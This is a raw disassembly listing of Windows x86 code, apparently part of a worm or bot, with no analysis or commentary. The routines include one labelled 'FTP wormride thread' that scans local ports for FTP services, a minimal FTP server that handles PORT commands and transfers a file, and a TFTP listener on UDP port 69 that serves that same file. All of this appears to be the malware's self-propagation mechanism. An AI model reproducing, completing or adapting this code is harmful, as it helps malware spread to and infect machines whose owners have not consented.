fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DE00 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DE00 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset dword_41EAFC push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EAD8 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DA80 call sub_40D4AB add esp, 14h push 3E8h call dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call dword_417238 ; htons mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call dword_41722C ; select test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DE00 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj 